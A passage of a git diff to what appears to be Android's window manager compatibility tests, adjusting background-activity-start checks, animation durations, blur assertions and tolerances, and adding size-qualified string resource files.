         assertTrue("Not able to launch background activity", result);
         assertTaskStack(new ComponentName[]{APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
 
-        pressHomeAndResumeAppSwitch();
+        // We can't resume app switching after pressing home button, otherwise the grace period
+        // will allow the starts.
+        pressHomeAndWaitHomeResumed();
 
         result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
         assertFalse("FG activity shouldn't be visible", result);
@@ -375,7 +378,9 @@
         boolean result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
         assertTrue("Not able to start foreground activity", result);
         assertTaskStack(new ComponentName[]{APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
-        pressHomeAndResumeAppSwitch();
+        // We can't resume app switching after pressing home button, otherwise the grace period
+        // will allow the starts.
+        pressHomeAndWaitHomeResumed();
 
         // The activity, now in the background, will attempt to start 2 activities in quick
         // succession
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
index 9099c67..dbfef28 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
@@ -89,11 +89,10 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
+        ExtensionUtils.assumeSupportedDevice(mContext);
 
         // Launch activity after the ActivityManagerTestBase clean all package states.
         mActivity = mActivityTestRule.launchActivity(new Intent());
-        ExtensionUtils.assumeSupportedDevice(mActivity);
-
         mExtension = ExtensionUtils.getInterfaceCompat(mActivity);
         assertThat(mExtension).isNotNull();
         mWindowToken = getActivityWindowToken(mActivity);
diff --git a/tests/framework/base/windowmanager/res/anim/alpha.xml b/tests/framework/base/windowmanager/res/anim/alpha.xml
index 8893d66..ace1370 100644
--- a/tests/framework/base/windowmanager/res/anim/alpha.xml
+++ b/tests/framework/base/windowmanager/res/anim/alpha.xml
@@ -17,4 +17,4 @@
 <alpha xmlns:android="http://schemas.android.com/apk/res/android"
        android:fromAlpha="0.0"
        android:toAlpha="1.0"
-       android:duration="500" />
+       android:duration="2000" />
diff --git a/tests/framework/base/windowmanager/res/values-h360dp/strings.xml b/tests/framework/base/windowmanager/res/values-h360dp/strings.xml
new file mode 100644
index 0000000..e37a5d6
--- /dev/null
+++ b/tests/framework/base/windowmanager/res/values-h360dp/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="for_generate_size_configuration">h360dp</string>
+</resources>
diff --git a/tests/framework/base/windowmanager/res/values-h400dp/strings.xml b/tests/framework/base/windowmanager/res/values-h400dp/strings.xml
new file mode 100644
index 0000000..329841e
--- /dev/null
+++ b/tests/framework/base/windowmanager/res/values-h400dp/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="for_generate_size_configuration">h400dp</string>
+</resources>
diff --git a/tests/framework/base/windowmanager/res/values-h480dp/strings.xml b/tests/framework/base/windowmanager/res/values-h480dp/strings.xml
new file mode 100644
index 0000000..77a1a6e
--- /dev/null
+++ b/tests/framework/base/windowmanager/res/values-h480dp/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="for_generate_size_configuration">h480dp</string>
+</resources>
diff --git a/tests/framework/base/windowmanager/res/values-h540dp/strings.xml b/tests/framework/base/windowmanager/res/values-h540dp/strings.xml
new file mode 100644
index 0000000..7bf32c5
--- /dev/null
+++ b/tests/framework/base/windowmanager/res/values-h540dp/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="for_generate_size_configuration">h540dp</string>
+</resources>
diff --git a/tests/framework/base/windowmanager/res/values-h600dp/strings.xml b/tests/framework/base/windowmanager/res/values-h600dp/strings.xml
new file mode 100644
index 0000000..21504a1
--- /dev/null
+++ b/tests/framework/base/windowmanager/res/values-h600dp/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="for_generate_size_configuration">h600dp</string>
+</resources>
diff --git a/tests/framework/base/windowmanager/res/values-h720dp/strings.xml b/tests/framework/base/windowmanager/res/values-h720dp/strings.xml
new file mode 100644
index 0000000..2c01735
--- /dev/null
+++ b/tests/framework/base/windowmanager/res/values-h720dp/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="for_generate_size_configuration">h720dp</string>
+</resources>
diff --git a/tests/framework/base/windowmanager/res/values-sw1024dp/strings.xml b/tests/framework/base/windowmanager/res/values-sw1024dp/strings.xml
new file mode 100644
index 0000000..21916b7
--- /dev/null
+++ b/tests/framework/base/windowmanager/res/values-sw1024dp/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="for_generate_size_configuration">sw1024dp</string>
+</resources>
diff --git a/tests/framework/base/windowmanager/res/values-sw360dp/strings.xml b/tests/framework/base/windowmanager/res/values-sw360dp/strings.xml
new file mode 100644
index 0000000..1d97d27
--- /dev/null
+++ b/tests/framework/base/windowmanager/res/values-sw360dp/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="for_generate_size_configuration">sw360dp</string>
+</resources>
diff --git a/tests/framework/base/windowmanager/res/values-sw400dp/strings.xml b/tests/framework/base/windowmanager/res/values-sw400dp/strings.xml
new file mode 100644
index 0000000..42b5c49
--- /dev/null
+++ b/tests/framework/base/windowmanager/res/values-sw400dp/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="for_generate_size_configuration">sw400dp</string>
+</resources>
diff --git a/tests/framework/base/windowmanager/res/values-sw480dp/strings.xml b/tests/framework/base/windowmanager/res/values-sw480dp/strings.xml
new file mode 100644
index 0000000..239f423
--- /dev/null
+++ b/tests/framework/base/windowmanager/res/values-sw480dp/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="for_generate_size_configuration">sw480dp</string>
+</resources>
diff --git a/tests/framework/base/windowmanager/res/values-sw540dp/strings.xml b/tests/framework/base/windowmanager/res/values-sw540dp/strings.xml
new file mode 100644
index 0000000..f770b4b
--- /dev/null
+++ b/tests/framework/base/windowmanager/res/values-sw540dp/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="for_generate_size_configuration">sw540dp</string>
+</resources>
diff --git a/tests/framework/base/windowmanager/res/values-sw600dp/strings.xml b/tests/framework/base/windowmanager/res/values-sw600dp/strings.xml
new file mode 100644
index 0000000..4349549
--- /dev/null
+++ b/tests/framework/base/windowmanager/res/values-sw600dp/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="for_generate_size_configuration">sw600dp</string>
+</resources>
diff --git a/tests/framework/base/windowmanager/res/values-sw720dp/strings.xml b/tests/framework/base/windowmanager/res/values-sw720dp/strings.xml
new file mode 100644
index 0000000..3071d5d
--- /dev/null
+++ b/tests/framework/base/windowmanager/res/values-sw720dp/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="for_generate_size_configuration">sw720dp</string>
+</resources>
diff --git a/tests/framework/base/windowmanager/res/values-sw800dp/strings.xml b/tests/framework/base/windowmanager/res/values-sw800dp/strings.xml
new file mode 100644
index 0000000..0baa47e
--- /dev/null
+++ b/tests/framework/base/windowmanager/res/values-sw800dp/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="for_generate_size_configuration">sw800dp</string>
+</resources>
diff --git a/tests/framework/base/windowmanager/res/values-sw900dp/strings.xml b/tests/framework/base/windowmanager/res/values-sw900dp/strings.xml
new file mode 100644
index 0000000..69dd2e5
--- /dev/null
+++ b/tests/framework/base/windowmanager/res/values-sw900dp/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="for_generate_size_configuration">sw900dp</string>
+</resources>
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java
index 3573d3f..d113def 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java
@@ -56,6 +56,11 @@
             "persist.wm.disable_custom_task_animation";
     static final boolean DISABLE_CUSTOM_TASK_ANIMATION_DEFAULT = true;
 
+    // Duration of the default wallpaper close animation
+    static final long DEFAULT_ANIMATION_DURATION = 275L;
+    // Duration of the R.anim.alpha animation
+    static final long CUSTOM_ANIMATION_DURATION = 2000L;
+
     private static boolean customTaskAnimationDisabled() {
         try {
             return Integer.parseInt(executeShellCommand(
@@ -67,7 +72,7 @@
 
     @Test
     public void testActivityTransitionDurationNoShortenAsExpected() throws Exception {
-        final long expectedDurationMs = 500L - 100L;    // custom animation
+        final long expectedDurationMs = CUSTOM_ANIMATION_DURATION - 100L;
         final long minDurationMs = expectedDurationMs;
         final long maxDurationMs = expectedDurationMs + 300L;
         final Range<Long> durationRange = new Range<>(minDurationMs, maxDurationMs);
@@ -110,7 +115,7 @@
     public void testTaskTransitionDurationNoShortenAsExpected() throws Exception {
         assumeFalse(customTaskAnimationDisabled());
 
-        final long expectedDurationMs = 500L - 100L;    // custom animation
+        final long expectedDurationMs = CUSTOM_ANIMATION_DURATION - 100L;
         final long minDurationMs = expectedDurationMs;
         final long maxDurationMs = expectedDurationMs + 300L;
         final Range<Long> durationRange = new Range<>(minDurationMs, maxDurationMs);
@@ -149,9 +154,9 @@
     public void testTaskTransitionOverrideDisabled() throws Exception {
         assumeTrue(customTaskAnimationDisabled());
 
-        final long expectedDurationMs = 275L - 100L;   // wallpaper close animation
+        final long expectedDurationMs = DEFAULT_ANIMATION_DURATION - 100L;
         final long minDurationMs = expectedDurationMs;
-        final long maxDurationMs = expectedDurationMs + 300L;
+        final long maxDurationMs = expectedDurationMs + 1000L;
         final Range<Long> durationRange = new Range<>(minDurationMs, maxDurationMs);
 
         final CountDownLatch latch = new CountDownLatch(1);
@@ -190,9 +195,9 @@
     public void testTaskTransitionOverride() throws Exception {
         assumeTrue(customTaskAnimationDisabled());
 
-        final long expectedDurationMs = 500L - 100L;    // custom animation
+        final long expectedDurationMs = CUSTOM_ANIMATION_DURATION - 100L;
         final long minDurationMs = expectedDurationMs;
-        final long maxDurationMs = expectedDurationMs + 300L;
+        final long maxDurationMs = expectedDurationMs + 1000L;
         final Range<Long> durationRange = new Range<>(minDurationMs, maxDurationMs);
 
         final CountDownLatch latch = new CountDownLatch(1);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index b03de6b..ec4903b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -24,6 +24,7 @@
 import static android.server.wm.CliIntentExtra.extraString;
 import static android.server.wm.UiDeviceUtils.pressBackButton;
 import static android.server.wm.UiDeviceUtils.pressHomeButton;
+import static android.server.wm.UiDeviceUtils.pressSleepButton;
 import static android.server.wm.VirtualDisplayHelper.waitForDefaultDisplayState;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
 import static android.server.wm.WindowManagerState.STATE_STOPPED;
@@ -88,7 +89,7 @@
         }
 
         launchHomeActivity();
-        launchActivity(TRANSLUCENT_ACTIVITY);
+        launchActivity(TRANSLUCENT_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
 
         mWmState.assertFrontStack("Fullscreen stack must be the front stack.",
                 WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
@@ -198,11 +199,20 @@
         assumeTrue(supportsLockScreen());
 
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        final boolean notSupportsInsecureLock = !supportsInsecureLock();
+        if (notSupportsInsecureLock) {
+            lockScreenSession.setLockCredential();
+        }
         final ActivitySessionClient activityClient = createManagedActivityClientSession();
         testTurnScreenOnActivity(lockScreenSession, activityClient,
                 true /* useWindowFlags */, true /* showWhenLocked */);
         testTurnScreenOnActivity(lockScreenSession, activityClient,
                 false /* useWindowFlags */, true /* showWhenLocked */);
+        if (notSupportsInsecureLock) {
+            // In the platform without InsecureLock, we just test if the display is on with
+            // TurnScreenOnActivity.
+            mObjectTracker.close(lockScreenSession);
+        }
         testTurnScreenOnActivity(lockScreenSession, activityClient,
                 true /* useWindowFlags */, false /* showWhenLocked */);
         testTurnScreenOnActivity(lockScreenSession, activityClient,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
index 7f6cd6c..0ecd24e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
@@ -27,6 +27,7 @@
 import static android.server.wm.app.Components.BlurActivity.EXTRA_BACKGROUND_BLUR_RADIUS_PX;
 import static android.server.wm.app.Components.BlurActivity.EXTRA_BLUR_BEHIND_RADIUS_PX;
 import static android.server.wm.app.Components.BlurActivity.EXTRA_NO_BLUR_BACKGROUND_COLOR;
+import static android.view.Display.DEFAULT_DISPLAY;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
@@ -64,8 +65,8 @@
 @Presubmit
 @FlakyTest(detail = "Promote once confirmed non-flaky")
 public class BlurTests extends WindowManagerTestBase {
-    private static final int BACKGROUND_BLUR_PX = dpToPx(50);
-    private static final int BLUR_BEHIND_PX = dpToPx(25);
+    private static final int BACKGROUND_BLUR_PX = 80;
+    private static final int BLUR_BEHIND_PX = 40;
     private static final int NO_BLUR_BACKGROUND_COLOR = Color.BLACK;
     private static final int BLUR_BEHIND_DYNAMIC_UPDATE_WAIT_TIME = 300;
     private static final int BACKGROUND_BLUR_DYNAMIC_UPDATE_WAIT_TIME = 100;
@@ -86,8 +87,7 @@
                     Settings.Global.getFloat(resolver, ANIMATOR_DURATION_SCALE, 1f);
             Settings.Global.putFloat(resolver, ANIMATOR_DURATION_SCALE, 0);
         });
-        launchActivity(BACKGROUND_IMAGE_ACTIVITY);
-        mWmState.waitForValidState(BACKGROUND_IMAGE_ACTIVITY);
+        startTestActivity(BACKGROUND_IMAGE_ACTIVITY);
         verifyOnlyBackgroundImageVisible();
         assertTrue(mContext.getSystemService(WindowManager.class).isCrossWindowBlurEnabled());
     }
@@ -220,7 +220,7 @@
 
         Bitmap screenshot = takeScreenshot();
         assertBlurBehind(screenshot, windowFrame);
-        assertBackgroundBlur(screenshot, windowFrame);
+        assertBackgroundBlurOverBlurBehind(screenshot, windowFrame);
 
         setForceBlurDisabled(true);
         Thread.sleep(BLUR_BEHIND_DYNAMIC_UPDATE_WAIT_TIME);
@@ -234,7 +234,7 @@
 
         screenshot = takeScreenshot();
         assertBlurBehind(screenshot, windowFrame);
-        assertBackgroundBlur(screenshot, windowFrame);
+        assertBackgroundBlurOverBlurBehind(screenshot, windowFrame);
     }
 
     @Test
@@ -244,7 +244,7 @@
         final Bitmap screenshot = takeScreenshot();
 
         assertBlurBehind(screenshot, windowFrame);
-        assertBackgroundBlur(screenshot, windowFrame);
+        assertBackgroundBlurOverBlurBehind(screenshot, windowFrame);
     }
 
     @Test
@@ -257,7 +257,7 @@
         Bitmap screenshot = takeScreenshot();
 
         assertBlurBehind(screenshot, windowFrame);
-        assertBackgroundBlur(screenshot, windowFrame);
+        assertBackgroundBlurOverBlurBehind(screenshot, windowFrame);
 
         mBroadcastActionTrigger.finishBroadcastReceiverActivity();
         mWmState.waitAndAssertActivityRemoved(BLUR_ACTIVITY);
@@ -322,6 +322,8 @@
     private void startTestActivity(ComponentName activityName, final CliIntentExtra... extras) {
         launchActivity(activityName, extras);
         assertNotEquals(mWmState.getRootTaskIdByActivity(activityName), INVALID_STACK_ID);
+        waitAndAssertResumedActivity(activityName, activityName + " must be resumed");
+        mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
     }
 
 
@@ -342,21 +344,15 @@
             for (int y = 0; y < height; y++) {
                 if (x < blueWidth) {
                     ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
-                            Color.BLUE, screenshot.getPixel(x, y), 0);
+                            Color.BLUE, screenshot.getPixel(x, y), 1);
                 } else {
                     ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
-                            Color.RED, screenshot.getPixel(x, y), 0);
+                            Color.RED, screenshot.getPixel(x, y), 1);
                 }
             }
         }
     }
 
-    private static int dpToPx(int dp) {
-        final float density =
-            getInstrumentation().getContext().getResources().getDisplayMetrics().density;
-        return (int) (dp * density + 0.5f);
-    }
-
     private static void assertBlurBehind(Bitmap screenshot, Rect windowFrame) {
         assertBlur(screenshot, BLUR_BEHIND_PX, 0, windowFrame.top);
         assertBlur(screenshot, BLUR_BEHIND_PX, windowFrame.bottom, screenshot.getHeight());
@@ -366,25 +362,32 @@
         assertBlur(screenshot, BACKGROUND_BLUR_PX, windowFrame.top, windowFrame.bottom);
     }
 
+    private static void assertBackgroundBlurOverBlurBehind(Bitmap screenshot, Rect windowFrame) {
+        // We are assuming that the background blur will become bigger by roughly half of the blur
+        // behind radius
+        assertBlur(screenshot, BACKGROUND_BLUR_PX + ((int) (BLUR_BEHIND_PX*0.5f)),
+                windowFrame.top, windowFrame.bottom);
+    }
+
     private static void assertNoBlurBehind(Bitmap screenshot, Rect windowFrame) {
         for (int x = 0; x < screenshot.getWidth(); x++) {
             for (int y = 0; y < screenshot.getHeight(); y++) {
                 if (x < windowFrame.left) {
                     ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
-                            Color.BLUE, screenshot.getPixel(x, y), 0);
+                            Color.BLUE, screenshot.getPixel(x, y), 1);
                 } else if (x < screenshot.getWidth() / 2) {
                     if (y < windowFrame.top || y > windowFrame.bottom) {
                         ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
-                                Color.BLUE, screenshot.getPixel(x, y), 0);
+                                Color.BLUE, screenshot.getPixel(x, y), 1);
                     }
                 } else if (x <= windowFrame.right) {
                     if (y < windowFrame.top || y > windowFrame.bottom) {
                         ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
-                                Color.RED, screenshot.getPixel(x, y), 0);
+                                Color.RED, screenshot.getPixel(x, y), 1);
                     }
                 } else if (x > windowFrame.right) {
                     ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
-                            Color.RED, screenshot.getPixel(x, y), 0);
+                            Color.RED, screenshot.getPixel(x, y), 1);
                 }
 
             }
@@ -395,7 +398,7 @@
         for (int y = windowFrame.top; y < windowFrame.bottom; y++) {
             for (int x = windowFrame.left; x < windowFrame.right; x++) {
                 ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
-                        NO_BLUR_BACKGROUND_COLOR, screenshot.getPixel(x, y), 0);
+                        NO_BLUR_BACKGROUND_COLOR, screenshot.getPixel(x, y), 1);
             }
         }
     }
@@ -406,10 +409,9 @@
 
         // Adjust the test to check a smaller part of the blurred area in order to accept various
         // blur algorithm approximations used in RenderEngine
-        final int kawaseOffset = (int) (blurRadius * 0.7f);
-        final int blurAreaStartX = width / 2 - blurRadius + kawaseOffset;
-        final int blurAreaEndX = width / 2 + blurRadius - kawaseOffset;
-        final int stepSize = kawaseOffset / 4;
+        final int stepSize = blurRadius / 4;
+        final int blurAreaStartX = width / 2 - blurRadius + stepSize;
+        final int blurAreaEndX = width / 2 + blurRadius;
 
         Color previousColor;
         Color currentColor;
@@ -418,7 +420,7 @@
         for (int y = startHeight; y < endHeight; y++) {
             ColorUtils.verifyColor(
                     "failed for pixel (x, y) = (" + unaffectedBluePixelX + ", " + y + ")",
-                    Color.BLUE, screenshot.getPixel(unaffectedBluePixelX, y), 0);
+                    Color.BLUE, screenshot.getPixel(unaffectedBluePixelX, y), 1);
             previousColor = Color.valueOf(Color.BLUE);
             for (int x = blurAreaStartX; x <= blurAreaEndX; x += stepSize) {
                 currentColor = screenshot.getColor(x, y);
@@ -435,7 +437,7 @@
             }
             ColorUtils.verifyColor(
                     "failed for pixel (x, y) = (" + unaffectedRedPixelX + ", " + y + ")",
-                    Color.RED, screenshot.getPixel(unaffectedRedPixelX, y), 0);
+                    Color.RED, screenshot.getPixel(unaffectedRedPixelX, y), 1);
         }
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
index fd652f3..2524090 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
@@ -25,10 +25,13 @@
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
 
 import android.app.Activity;
 import android.compat.testing.PlatformCompatChangeRule;
@@ -40,6 +43,7 @@
 import android.provider.DeviceConfig;
